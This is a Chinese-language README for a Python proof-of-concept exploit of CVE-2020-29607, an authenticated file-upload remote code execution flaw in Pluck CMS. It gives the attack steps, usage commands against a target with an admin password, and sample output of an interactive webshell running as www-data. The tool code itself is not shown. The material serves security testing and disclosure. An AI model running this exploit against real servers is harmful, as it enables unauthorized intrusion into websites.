CVE-2020-29607 — Pluck CMS <= 4.7.13 认证文件上传远程代码执行 (PoC)

Pluck CMS 4.7.13 之前的版本存在认证远程代码执行漏洞。管理员文件管理器（admin.php?action=files）未验证文件扩展名，允许上传 .phar 文件，Apache 会将其作为 PHP 执行。通过此端点上传 webshell 会导致以 Web 服务器用户身份执行远程代码。

---

工作原理

1. 使用提供的管理员密码进行身份验证。
2. 通过管理员文件管理器上传 PHP webshell 为 shell.phar。
3. 通过请求 shell 并运行 id 验证执行。
4. 针对上传的 webshell 打开交互式命令循环。

依赖要求

• Python 3
• 安装依赖：

python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests prompt_toolkit

使用方法

# Pluck at root
python3 exploit.py -u http://TARGET -p ADMIN_PASSWORD

# Pluck in a subdirectory
python3 exploit.py -u http://TARGET -p ADMIN_PASSWORD --path /pluck

示例：

$ python3 exploit.py -u http://10.10.10.10 -p admin123
[*] Logging in...
[+] Logged in
[*] Uploading webshell...
[+] Webshell uploaded
[*] Shell URL: http://10.10.10.10/files/shell.phar
[+] Target is vulnerable! Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] Shell opened. Type 'exit' or Ctrl+C to quit.

Shell> whoami
www-data

参考

• CVE-2020-29607
• EDB-49909
• 原始 PoC 由 Ron Jost (Hacker5preme) 提供

致谢

• 发现与原始漏洞利用: Ron Jost (Hacker5preme)
• Python 3 移植与交互式 shell: Esteban Zárate